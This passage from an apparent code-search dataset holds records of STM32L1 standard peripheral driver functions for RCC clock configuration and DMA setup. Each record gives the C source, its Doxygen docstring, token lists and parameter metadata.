/** * @brief Configures the RTC and LCD clock (RTCCLK / LCDCLK). * @note As the RTC clock configuration bits are in the RTC domain and write * access is denied to this domain after reset, you have to enable write * access using PWR_RTCAccessCmd(ENABLE) function before to configure * the RTC clock source (to be done once after reset). * @note Once the RTC clock is configured it can't be changed unless the RTC * is reset using RCC_RTCResetCmd function, or by a Power On Reset (POR) * @note The RTC clock (RTCCLK) is used also to clock the LCD (LCDCLK). * * @param RCC_RTCCLKSource: specifies the RTC clock source. * This parameter can be one of the following values: * @arg RCC_RTCCLKSource_LSE: LSE selected as RTC clock * @arg RCC_RTCCLKSource_LSI: LSI selected as RTC clock * @arg RCC_RTCCLKSource_HSE_Div2: HSE divided by 2 selected as RTC clock * @arg RCC_RTCCLKSource_HSE_Div4: HSE divided by 4 selected as RTC clock * @arg RCC_RTCCLKSource_HSE_Div8: HSE divided by 8 selected as RTC clock * @arg RCC_RTCCLKSource_HSE_Div16: HSE divided by 16 selected as RTC clock * * @note If the LSE or LSI is used as RTC clock source, the RTC continues to * work in STOP and STANDBY modes, and can be used as wakeup source. * However, when the HSE clock is used as RTC clock source, the RTC * cannot be used in STOP and STANDBY modes. * * @note The maximum input clock frequency for RTC is 1MHz (when using HSE as * RTC clock source). * * @retval None */
@brief Configures the RTC and LCD clock (RTCCLK / LCDCLK). @note As the RTC clock configuration bits are in the RTC domain and write access is denied to this domain after reset, you have to enable write access using PWR_RTCAccessCmd(ENABLE) function before to configure the RTC clock source (to be done once after reset). @note Once the RTC clock is configured it can't be changed unless the RTC is reset using RCC_RTCResetCmd function, or by a Power On Reset (POR) @note The RTC clock (RTCCLK) is used also to clock the LCD (LCDCLK). @param RCC_RTCCLKSource: specifies the RTC clock source. @note If the LSE or LSI is used as RTC clock source, the RTC continues to work in STOP and STANDBY modes, and can be used as wakeup source. However, when the HSE clock is used as RTC clock source, the RTC cannot be used in STOP and STANDBY modes. @note The maximum input clock frequency for RTC is 1MHz (when using HSE as RTC clock source). @retval None
[ "@brief", "Configures", "the", "RTC", "and", "LCD", "clock", "(", "RTCCLK", "/", "LCDCLK", ")", ".", "@note", "As", "the", "RTC", "clock", "configuration", "bits", "are", "in", "the", "RTC", "domain", "and", "write", "access", "is", "denied", "to", "this", "domain", "after", "reset", "you", "have", "to", "enable", "write", "access", "using", "PWR_RTCAccessCmd", "(", "ENABLE", ")", "function", "before", "to", "configure", "the", "RTC", "clock", "source", "(", "to", "be", "done", "once", "after", "reset", ")", ".", "@note", "Once", "the", "RTC", "clock", "is", "configured", "it", "can", "'", "t", "be", "changed", "unless", "the", "RTC", "is", "reset", "using", "RCC_RTCResetCmd", "function", "or", "by", "a", "Power", "On", "Reset", "(", "POR", ")", "@note", "The", "RTC", "clock", "(", "RTCCLK", ")", "is", "used", "also", "to", "clock", "the", "LCD", "(", "LCDCLK", ")", ".", "@param", "RCC_RTCCLKSource", ":", "specifies", "the", "RTC", "clock", "source", ".", "@note", "If", "the", "LSE", "or", "LSI", "is", "used", "as", "RTC", "clock", "source", "the", "RTC", "continues", "to", "work", "in", "STOP", "and", "STANDBY", "modes", "and", "can", "be", "used", "as", "wakeup", "source", ".", "However", "when", "the", "HSE", "clock", "is", "used", "as", "RTC", "clock", "source", "the", "RTC", "cannot", "be", "used", "in", "STOP", "and", "STANDBY", "modes", ".", "@note", "The", "maximum", "input", "clock", "frequency", "for", "RTC", "is", "1MHz", "(", "when", "using", "HSE", "as", "RTC", "clock", "source", ")", ".", "@retval", "None" ]
void RCC_RTCCLKConfig(uint32_t RCC_RTCCLKSource) { uint32_t tmpreg = 0; assert_param(IS_RCC_RTCCLK_SOURCE(RCC_RTCCLKSource)); if ((RCC_RTCCLKSource & RCC_CSR_RTCSEL_HSE) == RCC_CSR_RTCSEL_HSE) { tmpreg = RCC->CR; tmpreg &= ~RCC_CR_RTCPRE; tmpreg |= (RCC_RTCCLKSource & RCC_CR_RTCPRE); RCC->CR = tmpreg; } RCC->CSR &= ~RCC_CSR_RTCSEL; RCC->CSR |= (RCC_RTCCLKSource & RCC_CSR_RTCSEL); }
[ "void", "RCC_RTCCLKConfig", "(", "uint32_t", "RCC_RTCCLKSource", ")", "{", "uint32_t", "tmpreg", "=", "0", ";", "assert_param", "(", "IS_RCC_RTCCLK_SOURCE", "(", "RCC_RTCCLKSource", ")", ")", ";", "if", "(", "(", "RCC_RTCCLKSource", "&", "RCC_CSR_RTCSEL_HSE", ")", "==", "RCC_CSR_RTCSEL_HSE", ")", "{", "tmpreg", "=", "RCC", "->", "CR", ";", "tmpreg", "&=", "~", "RCC_CR_RTCPRE", ";", "tmpreg", "|=", "(", "RCC_RTCCLKSource", "&", "RCC_CR_RTCPRE", ")", ";", "RCC", "->", "CR", "=", "tmpreg", ";", "}", "RCC", "->", "CSR", "&=", "~", "RCC_CSR_RTCSEL", ";", "RCC", "->", "CSR", "|=", "(", "RCC_RTCCLKSource", "&", "RCC_CSR_RTCSEL", ")", ";", "}" ]
@brief Configures the RTC and LCD clock (RTCCLK / LCDCLK).
[ "@brief", "Configures", "the", "RTC", "and", "LCD", "clock", "(", "RTCCLK", "/", "LCDCLK", ")", "." ]
[ "/* Check the parameters */", "/* If HSE is selected as RTC clock source, configure HSE division factor for RTC clock */", "/* Clear RTCPRE[1:0] bits */", "/* Configure HSE division factor for RTC clock */", "/* Store the new value */", "/* Select the RTC clock source */" ]
[ { "param": "RCC_RTCCLKSource", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "RCC_RTCCLKSource", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f48e4f6b11cb5725a611db37ea7fc2db5b8ca795
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_rcc.c
[ "MIT" ]
C
RCC_AHBPeriphResetCmd
void
void RCC_AHBPeriphResetCmd(uint32_t RCC_AHBPeriph, FunctionalState NewState) { /* Check the parameters */ assert_param(IS_RCC_AHB_PERIPH(RCC_AHBPeriph)); assert_param(IS_FUNCTIONAL_STATE(NewState)); if (NewState != DISABLE) { RCC->AHBRSTR |= RCC_AHBPeriph; } else { RCC->AHBRSTR &= ~RCC_AHBPeriph; } }
/** * @brief Forces or releases AHB peripheral reset. * @param RCC_AHBPeriph: specifies the AHB peripheral to reset. * This parameter can be any combination of the following values: * @arg RCC_AHBPeriph_GPIOA: GPIOA clock * @arg RCC_AHBPeriph_GPIOB: GPIOB clock * @arg RCC_AHBPeriph_GPIOC: GPIOC clock * @arg RCC_AHBPeriph_GPIOD: GPIOD clock * @arg RCC_AHBPeriph_GPIOE: GPIOE clock * @arg RCC_AHBPeriph_GPIOH: GPIOH clock * @arg RCC_AHBPeriph_GPIOF: GPIOF clock * @arg RCC_AHBPeriph_GPIOG: GPIOG clock * @arg RCC_AHBPeriph_CRC: CRC clock * @arg RCC_AHBPeriph_FLITF: (has effect only when the Flash memory is in power down mode) * @arg RCC_AHBPeriph_DMA1: DMA1 clock * @arg RCC_AHBPeriph_DMA2: DMA2 clock * @arg RCC_AHBPeriph_AES: AES clock * @arg RCC_AHBPeriph_FSMC: FSMC clock * @param NewState: new state of the specified peripheral reset. * This parameter can be: ENABLE or DISABLE. * @retval None */
@brief Forces or releases AHB peripheral reset. @param RCC_AHBPeriph: specifies the AHB peripheral to reset.
[ "@brief", "Forces", "or", "releases", "AHB", "peripheral", "reset", ".", "@param", "RCC_AHBPeriph", ":", "specifies", "the", "AHB", "peripheral", "to", "reset", "." ]
void RCC_AHBPeriphResetCmd(uint32_t RCC_AHBPeriph, FunctionalState NewState) { assert_param(IS_RCC_AHB_PERIPH(RCC_AHBPeriph)); assert_param(IS_FUNCTIONAL_STATE(NewState)); if (NewState != DISABLE) { RCC->AHBRSTR |= RCC_AHBPeriph; } else { RCC->AHBRSTR &= ~RCC_AHBPeriph; } }
[ "void", "RCC_AHBPeriphResetCmd", "(", "uint32_t", "RCC_AHBPeriph", ",", "FunctionalState", "NewState", ")", "{", "assert_param", "(", "IS_RCC_AHB_PERIPH", "(", "RCC_AHBPeriph", ")", ")", ";", "assert_param", "(", "IS_FUNCTIONAL_STATE", "(", "NewState", ")", ")", ";", "if", "(", "NewState", "!=", "DISABLE", ")", "{", "RCC", "->", "AHBRSTR", "|=", "RCC_AHBPeriph", ";", "}", "else", "{", "RCC", "->", "AHBRSTR", "&=", "~", "RCC_AHBPeriph", ";", "}", "}" ]
@brief Forces or releases AHB peripheral reset.
[ "@brief", "Forces", "or", "releases", "AHB", "peripheral", "reset", "." ]
[ "/* Check the parameters */" ]
[ { "param": "RCC_AHBPeriph", "type": "uint32_t" }, { "param": "NewState", "type": "FunctionalState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "RCC_AHBPeriph", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "NewState", "type": "FunctionalState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f48e4f6b11cb5725a611db37ea7fc2db5b8ca795
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_rcc.c
[ "MIT" ]
C
RCC_AHBPeriphClockLPModeCmd
void
void RCC_AHBPeriphClockLPModeCmd(uint32_t RCC_AHBPeriph, FunctionalState NewState) { /* Check the parameters */ assert_param(IS_RCC_AHB_LPMODE_PERIPH(RCC_AHBPeriph)); assert_param(IS_FUNCTIONAL_STATE(NewState)); if (NewState != DISABLE) { RCC->AHBLPENR |= RCC_AHBPeriph; } else { RCC->AHBLPENR &= ~RCC_AHBPeriph; } }
/** * @brief Enables or disables the AHB peripheral clock during SLEEP mode. * @note Peripheral clock gating in SLEEP mode can be used to further reduce * power consumption. * - After wakeup from SLEEP mode, the peripheral clock is enabled again. * - By default, all peripheral clocks are enabled during SLEEP mode. * @param RCC_AHBPeriph: specifies the AHB peripheral to gates its clock. * This parameter can be any combination of the following values: * @arg RCC_AHBPeriph_GPIOA: GPIOA clock * @arg RCC_AHBPeriph_GPIOB: GPIOB clock * @arg RCC_AHBPeriph_GPIOC: GPIOC clock * @arg RCC_AHBPeriph_GPIOD: GPIOD clock * @arg RCC_AHBPeriph_GPIOE: GPIOE clock * @arg RCC_AHBPeriph_GPIOH: GPIOH clock * @arg RCC_AHBPeriph_GPIOF: GPIOF clock * @arg RCC_AHBPeriph_GPIOG: GPIOG clock * @arg RCC_AHBPeriph_CRC: CRC clock * @arg RCC_AHBPeriph_FLITF: (has effect only when the Flash memory is in power down mode) * @arg RCC_AHBPeriph_SRAM: SRAM clock * @arg RCC_AHBPeriph_DMA1: DMA1 clock * @arg RCC_AHBPeriph_DMA2: DMA2 clock * @arg RCC_AHBPeriph_AES: AES clock * @arg RCC_AHBPeriph_FSMC: FSMC clock * @param NewState: new state of the specified peripheral clock. * This parameter can be: ENABLE or DISABLE. * @retval None */
@brief Enables or disables the AHB peripheral clock during SLEEP mode. @note Peripheral clock gating in SLEEP mode can be used to further reduce power consumption. - After wakeup from SLEEP mode, the peripheral clock is enabled again. - By default, all peripheral clocks are enabled during SLEEP mode. @param RCC_AHBPeriph: specifies the AHB peripheral to gates its clock.
[ "@brief", "Enables", "or", "disables", "the", "AHB", "peripheral", "clock", "during", "SLEEP", "mode", ".", "@note", "Peripheral", "clock", "gating", "in", "SLEEP", "mode", "can", "be", "used", "to", "further", "reduce", "power", "consumption", ".", "-", "After", "wakeup", "from", "SLEEP", "mode", "the", "peripheral", "clock", "is", "enabled", "again", ".", "-", "By", "default", "all", "peripheral", "clocks", "are", "enabled", "during", "SLEEP", "mode", ".", "@param", "RCC_AHBPeriph", ":", "specifies", "the", "AHB", "peripheral", "to", "gates", "its", "clock", "." ]
void RCC_AHBPeriphClockLPModeCmd(uint32_t RCC_AHBPeriph, FunctionalState NewState) { assert_param(IS_RCC_AHB_LPMODE_PERIPH(RCC_AHBPeriph)); assert_param(IS_FUNCTIONAL_STATE(NewState)); if (NewState != DISABLE) { RCC->AHBLPENR |= RCC_AHBPeriph; } else { RCC->AHBLPENR &= ~RCC_AHBPeriph; } }
[ "void", "RCC_AHBPeriphClockLPModeCmd", "(", "uint32_t", "RCC_AHBPeriph", ",", "FunctionalState", "NewState", ")", "{", "assert_param", "(", "IS_RCC_AHB_LPMODE_PERIPH", "(", "RCC_AHBPeriph", ")", ")", ";", "assert_param", "(", "IS_FUNCTIONAL_STATE", "(", "NewState", ")", ")", ";", "if", "(", "NewState", "!=", "DISABLE", ")", "{", "RCC", "->", "AHBLPENR", "|=", "RCC_AHBPeriph", ";", "}", "else", "{", "RCC", "->", "AHBLPENR", "&=", "~", "RCC_AHBPeriph", ";", "}", "}" ]
@brief Enables or disables the AHB peripheral clock during SLEEP mode.
[ "@brief", "Enables", "or", "disables", "the", "AHB", "peripheral", "clock", "during", "SLEEP", "mode", "." ]
[ "/* Check the parameters */" ]
[ { "param": "RCC_AHBPeriph", "type": "uint32_t" }, { "param": "NewState", "type": "FunctionalState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "RCC_AHBPeriph", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "NewState", "type": "FunctionalState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f48e4f6b11cb5725a611db37ea7fc2db5b8ca795
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_rcc.c
[ "MIT" ]
C
RCC_GetFlagStatus
FlagStatus
FlagStatus RCC_GetFlagStatus(uint8_t RCC_FLAG) { uint32_t tmp = 0; uint32_t statusreg = 0; FlagStatus bitstatus = RESET; /* Check the parameters */ assert_param(IS_RCC_FLAG(RCC_FLAG)); /* Get the RCC register index */ tmp = RCC_FLAG >> 5; if (tmp == 1) /* The flag to check is in CR register */ { statusreg = RCC->CR; } else /* The flag to check is in CSR register (tmp == 2) */ { statusreg = RCC->CSR; } /* Get the flag position */ tmp = RCC_FLAG & FLAG_MASK; if ((statusreg & ((uint32_t)1 << tmp)) != (uint32_t)RESET) { bitstatus = SET; } else { bitstatus = RESET; } /* Return the flag status */ return bitstatus; }
/** * @brief Checks whether the specified RCC flag is set or not. * @param RCC_FLAG: specifies the flag to check. * This parameter can be one of the following values: * @arg RCC_FLAG_HSIRDY: HSI oscillator clock ready * @arg RCC_FLAG_MSIRDY: MSI oscillator clock ready * @arg RCC_FLAG_HSERDY: HSE oscillator clock ready * @arg RCC_FLAG_PLLRDY: PLL clock ready * @arg RCC_FLAG_LSECSS: LSE oscillator clock CSS detected * @arg RCC_FLAG_LSERDY: LSE oscillator clock ready * @arg RCC_FLAG_LSIRDY: LSI oscillator clock ready * @arg RCC_FLAG_OBLRST: Option Byte Loader (OBL) reset * @arg RCC_FLAG_PINRST: Pin reset * @arg RCC_FLAG_PORRST: POR/PDR reset * @arg RCC_FLAG_SFTRST: Software reset * @arg RCC_FLAG_IWDGRST: Independent Watchdog reset * @arg RCC_FLAG_WWDGRST: Window Watchdog reset * @arg RCC_FLAG_LPWRRST: Low Power reset * @retval The new state of RCC_FLAG (SET or RESET). */
@brief Checks whether the specified RCC flag is set or not. @param RCC_FLAG: specifies the flag to check.
[ "@brief", "Checks", "whether", "the", "specified", "RCC", "flag", "is", "set", "or", "not", ".", "@param", "RCC_FLAG", ":", "specifies", "the", "flag", "to", "check", "." ]
FlagStatus RCC_GetFlagStatus(uint8_t RCC_FLAG) { uint32_t tmp = 0; uint32_t statusreg = 0; FlagStatus bitstatus = RESET; assert_param(IS_RCC_FLAG(RCC_FLAG)); tmp = RCC_FLAG >> 5; if (tmp == 1) { statusreg = RCC->CR; } else { statusreg = RCC->CSR; } tmp = RCC_FLAG & FLAG_MASK; if ((statusreg & ((uint32_t)1 << tmp)) != (uint32_t)RESET) { bitstatus = SET; } else { bitstatus = RESET; } return bitstatus; }
[ "FlagStatus", "RCC_GetFlagStatus", "(", "uint8_t", "RCC_FLAG", ")", "{", "uint32_t", "tmp", "=", "0", ";", "uint32_t", "statusreg", "=", "0", ";", "FlagStatus", "bitstatus", "=", "RESET", ";", "assert_param", "(", "IS_RCC_FLAG", "(", "RCC_FLAG", ")", ")", ";", "tmp", "=", "RCC_FLAG", ">>", "5", ";", "if", "(", "tmp", "==", "1", ")", "{", "statusreg", "=", "RCC", "->", "CR", ";", "}", "else", "{", "statusreg", "=", "RCC", "->", "CSR", ";", "}", "tmp", "=", "RCC_FLAG", "&", "FLAG_MASK", ";", "if", "(", "(", "statusreg", "&", "(", "(", "uint32_t", ")", "1", "<<", "tmp", ")", ")", "!=", "(", "uint32_t", ")", "RESET", ")", "{", "bitstatus", "=", "SET", ";", "}", "else", "{", "bitstatus", "=", "RESET", ";", "}", "return", "bitstatus", ";", "}" ]
@brief Checks whether the specified RCC flag is set or not.
[ "@brief", "Checks", "whether", "the", "specified", "RCC", "flag", "is", "set", "or", "not", "." ]
[ "/* Check the parameters */", "/* Get the RCC register index */", "/* The flag to check is in CR register */", "/* The flag to check is in CSR register (tmp == 2) */", "/* Get the flag position */", "/* Return the flag status */" ]
[ { "param": "RCC_FLAG", "type": "uint8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "RCC_FLAG", "type": "uint8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c9ebeecd2ce371c071374ae6d175267c1bff7a78
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_dma.c
[ "MIT" ]
C
DMA_DeInit
void
void DMA_DeInit(DMA_Channel_TypeDef* DMAy_Channelx) { /* Check the parameters */ assert_param(IS_DMA_ALL_PERIPH(DMAy_Channelx)); /* Disable the selected DMAy Channelx */ DMAy_Channelx->CCR &= (uint16_t)(~DMA_CCR1_EN); /* Reset DMAy Channelx control register */ DMAy_Channelx->CCR = 0; /* Reset DMAy Channelx remaining bytes register */ DMAy_Channelx->CNDTR = 0; /* Reset DMAy Channelx peripheral address register */ DMAy_Channelx->CPAR = 0; /* Reset DMAy Channelx memory address register */ DMAy_Channelx->CMAR = 0; if (DMAy_Channelx == DMA1_Channel1) { /* Reset interrupt pending bits for DMA1 Channel1 */ DMA1->IFCR |= DMA1_CHANNEL1_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel2) { /* Reset interrupt pending bits for DMA1 Channel2 */ DMA1->IFCR |= DMA1_CHANNEL2_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel3) { /* Reset interrupt pending bits for DMA1 Channel3 */ DMA1->IFCR |= DMA1_CHANNEL3_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel4) { /* Reset interrupt pending bits for DMA1 Channel4 */ DMA1->IFCR |= DMA1_CHANNEL4_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel5) { /* Reset interrupt pending bits for DMA1 Channel5 */ DMA1->IFCR |= DMA1_CHANNEL5_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel6) { /* Reset interrupt pending bits for DMA1 Channel6 */ DMA1->IFCR |= DMA1_CHANNEL6_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel7) { /* Reset interrupt pending bits for DMA1 Channel7 */ DMA1->IFCR |= DMA1_CHANNEL7_IT_MASK; } else if (DMAy_Channelx == DMA2_Channel1) { /* Reset interrupt pending bits for DMA2 Channel1 */ DMA2->IFCR |= DMA2_CHANNEL1_IT_MASK; } else if (DMAy_Channelx == DMA2_Channel2) { /* Reset interrupt pending bits for DMA2 Channel2 */ DMA2->IFCR |= DMA2_CHANNEL2_IT_MASK; } else if (DMAy_Channelx == DMA2_Channel3) { /* Reset interrupt pending bits for DMA2 Channel3 */ DMA2->IFCR |= DMA2_CHANNEL3_IT_MASK; } else if (DMAy_Channelx == DMA2_Channel4) { /* Reset interrupt pending bits for DMA2 Channel4 */ DMA2->IFCR |= DMA2_CHANNEL4_IT_MASK; } else { if (DMAy_Channelx == DMA2_Channel5) { /* Reset interrupt pending bits for DMA2 Channel5 */ DMA2->IFCR |= DMA2_CHANNEL5_IT_MASK; } } }
/** * @brief Deinitializes the DMAy Channelx registers to their default reset * values. * @param DMAy_Channelx: where y can be 1 or 2 to select the DMA and x can be * 1 to 7 for DMA1 and 1 to 5 for DMA2 to select the DMA Channel. * @retval None */
@brief Deinitializes the DMAy Channelx registers to their default reset values. @param DMAy_Channelx: where y can be 1 or 2 to select the DMA and x can be 1 to 7 for DMA1 and 1 to 5 for DMA2 to select the DMA Channel. @retval None
[ "@brief", "Deinitializes", "the", "DMAy", "Channelx", "registers", "to", "their", "default", "reset", "values", ".", "@param", "DMAy_Channelx", ":", "where", "y", "can", "be", "1", "or", "2", "to", "select", "the", "DMA", "and", "x", "can", "be", "1", "to", "7", "for", "DMA1", "and", "1", "to", "5", "for", "DMA2", "to", "select", "the", "DMA", "Channel", ".", "@retval", "None" ]
void DMA_DeInit(DMA_Channel_TypeDef* DMAy_Channelx) { assert_param(IS_DMA_ALL_PERIPH(DMAy_Channelx)); DMAy_Channelx->CCR &= (uint16_t)(~DMA_CCR1_EN); DMAy_Channelx->CCR = 0; DMAy_Channelx->CNDTR = 0; DMAy_Channelx->CPAR = 0; DMAy_Channelx->CMAR = 0; if (DMAy_Channelx == DMA1_Channel1) { DMA1->IFCR |= DMA1_CHANNEL1_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel2) { DMA1->IFCR |= DMA1_CHANNEL2_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel3) { DMA1->IFCR |= DMA1_CHANNEL3_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel4) { DMA1->IFCR |= DMA1_CHANNEL4_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel5) { DMA1->IFCR |= DMA1_CHANNEL5_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel6) { DMA1->IFCR |= DMA1_CHANNEL6_IT_MASK; } else if (DMAy_Channelx == DMA1_Channel7) { DMA1->IFCR |= DMA1_CHANNEL7_IT_MASK; } else if (DMAy_Channelx == DMA2_Channel1) { DMA2->IFCR |= DMA2_CHANNEL1_IT_MASK; } else if (DMAy_Channelx == DMA2_Channel2) { DMA2->IFCR |= DMA2_CHANNEL2_IT_MASK; } else if (DMAy_Channelx == DMA2_Channel3) { DMA2->IFCR |= DMA2_CHANNEL3_IT_MASK; } else if (DMAy_Channelx == DMA2_Channel4) { DMA2->IFCR |= DMA2_CHANNEL4_IT_MASK; } else { if (DMAy_Channelx == DMA2_Channel5) { DMA2->IFCR |= DMA2_CHANNEL5_IT_MASK; } } }
[ "void", "DMA_DeInit", "(", "DMA_Channel_TypeDef", "*", "DMAy_Channelx", ")", "{", "assert_param", "(", "IS_DMA_ALL_PERIPH", "(", "DMAy_Channelx", ")", ")", ";", "DMAy_Channelx", "->", "CCR", "&=", "(", "uint16_t", ")", "(", "~", "DMA_CCR1_EN", ")", ";", "DMAy_Channelx", "->", "CCR", "=", "0", ";", "DMAy_Channelx", "->", "CNDTR", "=", "0", ";", "DMAy_Channelx", "->", "CPAR", "=", "0", ";", "DMAy_Channelx", "->", "CMAR", "=", "0", ";", "if", "(", "DMAy_Channelx", "==", "DMA1_Channel1", ")", "{", "DMA1", "->", "IFCR", "|=", "DMA1_CHANNEL1_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA1_Channel2", ")", "{", "DMA1", "->", "IFCR", "|=", "DMA1_CHANNEL2_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA1_Channel3", ")", "{", "DMA1", "->", "IFCR", "|=", "DMA1_CHANNEL3_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA1_Channel4", ")", "{", "DMA1", "->", "IFCR", "|=", "DMA1_CHANNEL4_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA1_Channel5", ")", "{", "DMA1", "->", "IFCR", "|=", "DMA1_CHANNEL5_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA1_Channel6", ")", "{", "DMA1", "->", "IFCR", "|=", "DMA1_CHANNEL6_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA1_Channel7", ")", "{", "DMA1", "->", "IFCR", "|=", "DMA1_CHANNEL7_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA2_Channel1", ")", "{", "DMA2", "->", "IFCR", "|=", "DMA2_CHANNEL1_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA2_Channel2", ")", "{", "DMA2", "->", "IFCR", "|=", "DMA2_CHANNEL2_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA2_Channel3", ")", "{", "DMA2", "->", "IFCR", "|=", "DMA2_CHANNEL3_IT_MASK", ";", "}", "else", "if", "(", "DMAy_Channelx", "==", "DMA2_Channel4", ")", "{", "DMA2", "->", "IFCR", "|=", "DMA2_CHANNEL4_IT_MASK", ";", "}", "else", "{", "if", "(", "DMAy_Channelx", "==", "DMA2_Channel5", ")", "{", "DMA2", "->", "IFCR", "|=", "DMA2_CHANNEL5_IT_MASK", ";", "}", "}", "}" ]
@brief Deinitializes the DMAy Channelx registers to their default reset values.
[ "@brief", "Deinitializes", "the", "DMAy", "Channelx", "registers", "to", "their", "default", "reset", "values", "." ]
[ "/* Check the parameters */", "/* Disable the selected DMAy Channelx */", "/* Reset DMAy Channelx control register */", "/* Reset DMAy Channelx remaining bytes register */", "/* Reset DMAy Channelx peripheral address register */", "/* Reset DMAy Channelx memory address register */", "/* Reset interrupt pending bits for DMA1 Channel1 */", "/* Reset interrupt pending bits for DMA1 Channel2 */", "/* Reset interrupt pending bits for DMA1 Channel3 */", "/* Reset interrupt pending bits for DMA1 Channel4 */", "/* Reset interrupt pending bits for DMA1 Channel5 */", "/* Reset interrupt pending bits for DMA1 Channel6 */", "/* Reset interrupt pending bits for DMA1 Channel7 */", "/* Reset interrupt pending bits for DMA2 Channel1 */", "/* Reset interrupt pending bits for DMA2 Channel2 */", "/* Reset interrupt pending bits for DMA2 Channel3 */", "/* Reset interrupt pending bits for DMA2 Channel4 */", "/* Reset interrupt pending bits for DMA2 Channel5 */" ]
[ { "param": "DMAy_Channelx", "type": "DMA_Channel_TypeDef" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "DMAy_Channelx", "type": "DMA_Channel_TypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c9ebeecd2ce371c071374ae6d175267c1bff7a78
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_dma.c
[ "MIT" ]
C
DMA_Init
void
void DMA_Init(DMA_Channel_TypeDef* DMAy_Channelx, DMA_InitTypeDef* DMA_InitStruct) { uint32_t tmpreg = 0; /* Check the parameters */ assert_param(IS_DMA_ALL_PERIPH(DMAy_Channelx)); assert_param(IS_DMA_DIR(DMA_InitStruct->DMA_DIR)); assert_param(IS_DMA_BUFFER_SIZE(DMA_InitStruct->DMA_BufferSize)); assert_param(IS_DMA_PERIPHERAL_INC_STATE(DMA_InitStruct->DMA_PeripheralInc)); assert_param(IS_DMA_MEMORY_INC_STATE(DMA_InitStruct->DMA_MemoryInc)); assert_param(IS_DMA_PERIPHERAL_DATA_SIZE(DMA_InitStruct->DMA_PeripheralDataSize)); assert_param(IS_DMA_MEMORY_DATA_SIZE(DMA_InitStruct->DMA_MemoryDataSize)); assert_param(IS_DMA_MODE(DMA_InitStruct->DMA_Mode)); assert_param(IS_DMA_PRIORITY(DMA_InitStruct->DMA_Priority)); assert_param(IS_DMA_M2M_STATE(DMA_InitStruct->DMA_M2M)); /*--------------------------- DMAy Channelx CCR Configuration -----------------*/ /* Get the DMAy_Channelx CCR value */ tmpreg = DMAy_Channelx->CCR; /* Clear MEM2MEM, PL, MSIZE, PSIZE, MINC, PINC, CIRC and DIR bits */ tmpreg &= CCR_CLEAR_MASK; /* Configure DMAy Channelx: data transfer, data size, priority level and mode */ /* Set DIR bit according to DMA_DIR value */ /* Set CIRC bit according to DMA_Mode value */ /* Set PINC bit according to DMA_PeripheralInc value */ /* Set MINC bit according to DMA_MemoryInc value */ /* Set PSIZE bits according to DMA_PeripheralDataSize value */ /* Set MSIZE bits according to DMA_MemoryDataSize value */ /* Set PL bits according to DMA_Priority value */ /* Set the MEM2MEM bit according to DMA_M2M value */ tmpreg |= DMA_InitStruct->DMA_DIR | DMA_InitStruct->DMA_Mode | DMA_InitStruct->DMA_PeripheralInc | DMA_InitStruct->DMA_MemoryInc | DMA_InitStruct->DMA_PeripheralDataSize | DMA_InitStruct->DMA_MemoryDataSize | DMA_InitStruct->DMA_Priority | DMA_InitStruct->DMA_M2M; /* Write to DMAy Channelx CCR */ DMAy_Channelx->CCR = tmpreg; /*--------------------------- DMAy Channelx CNDTR Configuration ---------------*/ /* Write to DMAy Channelx CNDTR */ DMAy_Channelx->CNDTR = DMA_InitStruct->DMA_BufferSize; /*--------------------------- DMAy Channelx CPAR Configuration ----------------*/ /* Write to DMAy Channelx CPAR */ DMAy_Channelx->CPAR = DMA_InitStruct->DMA_PeripheralBaseAddr; /*--------------------------- DMAy Channelx CMAR Configuration ----------------*/ /* Write to DMAy Channelx CMAR */ DMAy_Channelx->CMAR = DMA_InitStruct->DMA_MemoryBaseAddr; }
